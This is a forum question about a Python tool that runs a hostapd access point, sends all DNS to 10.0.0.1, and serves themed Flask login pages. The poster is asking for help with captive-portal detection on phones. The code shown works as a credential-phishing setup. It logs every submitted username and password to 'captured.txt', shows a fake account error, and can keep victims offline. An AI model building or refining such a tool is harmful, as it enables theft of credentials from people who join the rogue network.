1

Im making python tool for creating access point with hostapd, run http server on 10.0.0.1, and using dnsmasq redirect clients to the http server login page

Its working when i use localhost as hostname, but when im using 10.0.0.1 as hostname flask server its giving me errors like 204, or no success.txt was found when im connecting android device to access point.

Heres error while just running server and have open browser in background:

10.0.0.43 - - [21/Aug/2022 13:16:20] "GET /hotspot-detect.html HTTP/1.0" 302 -
10.0.0.43 - - [21/Aug/2022 13:16:20] "GET / HTTP/1.0" 200 -

And heres when im trying to connect from ios device to AP:

10.0.0.43 - - [21/Aug/2022 13:16:20] "GET /hotspot-detect.html HTTP/1.0" 302 -
10.0.0.43 - - [21/Aug/2022 13:16:20] "GET / HTTP/1.0" 200 -

It was working when used python http.server and writed html file using self.wfile.write. But i want to use flask, and have customizable templates.

Templates folder config:

- script_folder:
   server.py
   - templates:
      - captive_portal1:
         login.html
         redirect.html
      - captive_portal2:
         login.html
         redirect.html
      ...


Heres my dnsmasq configuration:

#Set the wifi interface
interface=wlan1
#Set the ip range that can be given to clients
dhcp-range=10.0.0.10,10.0.0.100,8h
#Set the gateway IP address
dhcp-option=3,10.0.0.1
#Set dns server address
dhcp-option=6,10.0.0.1
#Redirect all requests to 10.0.0.1
address=/#/10.0.0.1
no-resolv

My iptables settings (python code fragment):

os.system("iptables --flush --table nat")
os.system("iptables --flush FORWARD")
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")

Interface setup to assign ip address after staring ap:

os.system('ifconfig ' + iface + ' 10.0.0.1 netmask 255.255.255.0')

And finally my flask server code fragment:

@app.route("/", methods=["POST", "GET"])
def login():
    error = None
    if request.method == "POST":
        current_date = str(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")) 
        username = request.form['username']
        password = request.form['password']

        if username == '' or password == '': # Catch empty input
            print(bstring.INFO, "Catched empty input, sending error to client!")
            error = "Username or password can't be empty!"
            return render_template('%s/login.html' % (template), error=error) 

        if email_vaildation(username) == False: # Catch invaild e-mail
            print(bstring.INFO, "Catched invaild email, sending error to client!")
            error = "Can't find account with given username!"
            return render_template('%s/login.html' % (template), error=error)

        else:
            print("""
----------------------------
Date: """ + bstring.BLUE + current_date + bstring.RESET + """
Username: """ + bstring.GREEN + username + bstring.RESET + """
Password: """ + bstring.GREEN + password + bstring.RESET + """
----------------------------   
    """)    
            file = open("captured.txt", "a")
            file.write("""
Date: """ + current_date + """
Username: """ + username + """
Password: """ + password + """
----------------------------""")
            file.close
            client=request.remote_addr # Client ip 
            if args.nointernet is True:
                print(bstring.INFO, "No internet option is enabled, keeping internet access disabled for:", client)
            else:
                print(bstring.ACTION, "Enabling internet access for:", client)
                enable_network(client)

            return redirect(url_for("redirect_page"))
    else:
        return render_template('%s/login.html' % (template)

0 Answers0